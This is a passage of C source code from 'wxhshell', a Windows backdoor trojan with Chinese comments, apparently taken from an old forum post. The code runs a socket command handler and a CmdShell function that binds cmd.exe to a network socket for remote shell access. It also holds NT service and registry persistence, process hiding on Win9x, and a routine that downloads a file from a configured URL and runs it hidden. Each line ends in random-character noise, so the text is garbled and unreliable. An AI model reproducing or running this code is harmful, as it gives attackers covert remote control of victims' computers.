  } '[Nu;(>a  
  else { .%~ L  
dbnH#0i  
    switch(cmd[0]) { 0Dh a1[=  
  ;zz"95X7  
  // 帮助 LnR3C:NO k  
  case '?': { +wT,dUin_<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7 yF#G9,  
    break; EEaKT`/d  
  } oJXZ}>>iT  
  // 安装 tDIzn`$ z  
  case 'i': { B-M|}T  
    if(Install()) hhYo9jTHW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]1D>3  
    else 7W}~c/%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6jF~zI^  
    break; kv`x  
    } r!Mr\  
  // 卸载 {n.g7S~  
  case 'r': { HjnHl-  
    if(Uninstall()) -pkeEuwv{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Td8'z'  
    else t(}&<<1Bz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wiwJD}3h'  
    break; nC>#@*+jK  
    } ;O5NZa!.73  
  // 显示 wxhshell 所在路径 Wy4v~]xd%  
  case 'p': { ~zYp(#0op  
    char svExeFile[MAX_PATH]; 'HOcK8}b  
    strcpy(svExeFile,"\n\r"); E*RP8  
      strcat(svExeFile,ExeFile); PB }$.8  
        send(wsh,svExeFile,strlen(svExeFile),0); -Ca.:zX  
    break; 4b7}Sr=`  
    } S0p]:r ";x  
  // 重启 E 8,53$  
  case 'b': { EHo"y.ODg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qj3UO]>  
    if(Boot(REBOOT)) 17};I7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |,}QhR  
    else { eZ  ]6 Q  
    closesocket(wsh); 6p1TI1(  
    ExitThread(0); 'OF)`5sj  
    } I<[(hPQUf  
    break; qn4Dm ^  
    } B=n]N+  
  // 关机 14zo0ANM  
  case 'd': { .l#Pmd!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r2U2pAy#  
    if(Boot(SHUTDOWN)) ?:H9xJ_^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sH+]lTSX6{  
    else { Snh\Fgdz  
    closesocket(wsh); eb( =V *  
    ExitThread(0); 0} P&G^%"  
    } !pDS*{)E  
    break; D0"+E*   
    } CsuSg*#X+  
  // 获取shell H<1C5-  
  case 's': { :()4eK/\  
    CmdShell(wsh); wBeOMA  
    closesocket(wsh); &dOV0y_  
    ExitThread(0); 45ct*w  
    break; ^Jc~G~x4*  
  } uP+ j_is  
  // 退出 `o:)PTQNg  
  case 'x': { $g 1p!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); " I_T  
    CloseIt(wsh); 1 C[#]krh  
    break; BDB-OJ  
    } fnB-?8K<  
  // 离开 Uhg[#TUK  
  case 'q': { !q7M+j4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;#f%vs>Y7i  
    closesocket(wsh); #*Mk@XrV  
    WSACleanup(); y{jv-&!xB  
    exit(1); )03.6 Pvs  
    break; O`@$YXuD  
        } EDnmYaa)dZ  
  } av`b8cGg  
  } zb;2xTH+  
;q$<]X_S)}  
  // 提示信息 6] <?+#uQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J'B;  
} I s8|  
  } \&e+f#!u  
^g~-$t<!  
  return; M{nz~W80  
} UejG$JyHP  
B]]M?pS  
// shell模块句柄 =Oo*7|Z  
int CmdShell(SOCKET sock) KJ(zLwQ:  
{ 6^ /C+zuX  
STARTUPINFO si; }n:-nB4  
ZeroMemory(&si,sizeof(si)); tQwbIX-7/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ngdVRJL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v $ pA Rt  
PROCESS_INFORMATION ProcessInfo; yK}#|b'cM  
char cmdline[]="cmd"; d628@~ Ekn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  *riGi  
  return 0; RmzK?muk  
} MN1|k  
9V"^F.>  
// 自身启动模式 nLQ X? :  
int StartFromService(void) uO":\<1#  
{ L(8Q%oX%o  
typedef struct h\.UUC&<  
{ wx57dm+  
  DWORD ExitStatus; MhJ`>.z1  
  DWORD PebBaseAddress; m6 IZG l7%  
  DWORD AffinityMask; kSI,Q!e\  
  DWORD BasePriority; j l7e6#zu  
  ULONG UniqueProcessId; EoOrA@N  
  ULONG InheritedFromUniqueProcessId; (tVY /(~#  
}   PROCESS_BASIC_INFORMATION; IE,g  
[n< U>up  
PROCNTQSIP NtQueryInformationProcess; TmQ2;3%  
Wt4!XV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2b3*zB*@V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *nH?o* #  
:$9 4y{  
  HANDLE             hProcess; Qs,LK(1  
  PROCESS_BASIC_INFORMATION pbi; yLY2_p- X  
G1P m!CM=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k@wT,?kD  
  if(NULL == hInst ) return 0; 9Y/c<gbY  
HVk3F| ]V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I/Vlw-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xE0+3@_>>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z?yADYr9  
$'&`k,a3|P  
  if (!NtQueryInformationProcess) return 0; bBDgyFSI <  
u' r ;-|7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d<Z`)hI{K  
  if(!hProcess) return 0; \k g2pF[V  
IWMqmCbv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4}NFa; M1  
O^e !<bBd  
  CloseHandle(hProcess); Q2tGe~H  
V;)'FJ)]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =-vk}O0C  
if(hProcess==NULL) return 0; "3\)@  
+$v$P!),  
HMODULE hMod; 9VP|a-  
char procName[255]; |Yk23\!  
unsigned long cbNeeded; Yq2 mVo  
}}Q|O]e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1nvs51?H  
6*]Kow?  
  CloseHandle(hProcess); 778L[wYe  
UQTt;RS*zS  
if(strstr(procName,"services")) return 1; // 以服务启动 s2d;601*b  
9@:&E  
  return 0; // 注册表启动 uQ&xoDCB  
} 4q~l ?*S  
nkG 6.  
// 主模块 Tl25t^Y  
int StartWxhshell(LPSTR lpCmdLine) -R:1-0I$  
{  [bv.`  
  SOCKET wsl; xeu] X|,  
BOOL val=TRUE; KK7Y"~ 9&-  
  int port=0; 3[8'pQ!&  
  struct sockaddr_in door; <xc"y|7X  
q WP1i7]=/  
  if(wscfg.ws_autoins) Install(); Y$'fds4P  
sG^b_3o)A  
port=atoi(lpCmdLine); :v&GA s6H  
_ b#9^2o  
if(port<=0) port=wscfg.ws_port; ZPMX19  
(zTr/  
  WSADATA data; u}u2{pO!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3K54:  
9{>m04888  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nf$Y-v?i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tfdP#1E  
  door.sin_family = AF_INET;  -EITz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L5e aQu  
  door.sin_port = htons(port); *D|6g| Hb  
h`5au<h<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q_@ Z.{  
closesocket(wsl); ~ae68&L6  
return 1; W'6*$Ron  
} &<v# ^2S3  
Z\@vN[[  
  if(listen(wsl,2) == INVALID_SOCKET) { YF."D%?  
closesocket(wsl); K=!J=R;  
return 1; G\Sd!'?p  
} |e+I5  
  Wxhshell(wsl); 46$u}"E  
  WSACleanup(); q>H!?zi\Hy  
(}Gl'.>\M  
return 0; \8<bb<`  
W]rXt,{ &  
} HeF[H\a<  
8U=M.FFp  
// 以NT服务方式启动 %PyU3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3 :f5xF  
{ czedn_}%Q  
DWORD   status = 0; SX*os$  
  DWORD   specificError = 0xfffffff; _ sM$O>  
*A8CJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N8m^h:b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XrBLw}lD`N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (o e;p a  
  serviceStatus.dwWin32ExitCode     = 0; /V3*[  
  serviceStatus.dwServiceSpecificExitCode = 0; Z1q '4h=F.  
  serviceStatus.dwCheckPoint       = 0; lW7kBCsz#  
  serviceStatus.dwWaitHint       = 0; J7mT&U&Ru  
WL$WWA08_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g ,Q!F  
  if (hServiceStatusHandle==0) return; 3+!N[6Od9  
Ue-HO  
status = GetLastError(); :Z`4ea"w  
  if (status!=NO_ERROR) U,g!KN3P  
{ />+JK5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^DIN(0u)  
    serviceStatus.dwCheckPoint       = 0; }g(aZ  
    serviceStatus.dwWaitHint       = 0; ?#]c{Tlpz  
    serviceStatus.dwWin32ExitCode     = status; >5]Xl*{H)  
    serviceStatus.dwServiceSpecificExitCode = specificError; vA+RZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `W|2Xi=^5  
    return; !Ng^k>*h  
  } x)V.^-  
\Lh,dZ}d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r;S%BFMJS  
  serviceStatus.dwCheckPoint       = 0; #JTi]U6`  
  serviceStatus.dwWaitHint       = 0; U:8^>_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6G1Z"9<2*  
} @dcW0WQ\  
\'1%"JWK   
// 处理NT服务事件,比如:启动、停止 pz-`Tp w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V ;>{-p  
{ LscAsq<H<  
switch(fdwControl) f'r/Q2{n  
{ `&0?e-  
case SERVICE_CONTROL_STOP: Wx:_F;  
  serviceStatus.dwWin32ExitCode = 0; Gb~q:&IUr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZwG+rTW  
  serviceStatus.dwCheckPoint   = 0; |a'Q^aT  
  serviceStatus.dwWaitHint     = 0; }eB\k,7L  
  { i?|K+"=D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :B"'49Q`  
  } Cr(pN[,  
  return; i 0L7`TB  
case SERVICE_CONTROL_PAUSE: hW/*]7AM^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MRmz/ZmRM  
  break; 4 (Y5n?/  
case SERVICE_CONTROL_CONTINUE: E8IWHh_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @#o$~'my  
  break; }rGDM  
case SERVICE_CONTROL_INTERROGATE: }KZ/>Z;^  
  break; v[lytX4)  
}; rhL<JTS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,PIdPaV--  
} \ iP[iE=  
zBc7bbK  
// 标准应用程序主函数 hvpn=0@ M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %/'[GC'y!  
{ faJ5f.  
~=#jO0dE|  
// 获取操作系统版本 -=g`7^qa>  
OsIsNt=GetOsVer(); -'YX2!IU,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); crvWAsm  
s  fti[  
  // 从命令行安装 c#G(7.0MU  
  if(strpbrk(lpCmdLine,"iI")) Install(); %\- +SeC  
]enqkiS  
  // 下载执行文件 !!` zz  
if(wscfg.ws_downexe) { 2$3BluK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mzb_o2^(  
  WinExec(wscfg.ws_filenam,SW_HIDE); O;,k~  
} sIELkF?.  
J qU%$[w  
if(!OsIsNt) { KY_qK)H  
// 如果时win9x,隐藏进程并且设置为注册表启动 .h*&$c/l  
HideProc(); ` D4J9;|;]  
StartWxhshell(lpCmdLine); SX F F  
} <v{jJ7w  
else ,lN!XP{M6w  
  if(StartFromService()) O|gb{  
  // 以服务方式启动 DR=>la}!  
  StartServiceCtrlDispatcher(DispatchTable); 89 SsSb  
else r Ssv^W+  
  // 普通方式启动 k $+&  
  StartWxhshell(lpCmdLine); G\P*zz Sq  
;=e A2  
return 0; j*6!7u.,K  
}
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只看该作者 1 发表于: 2006-10-10
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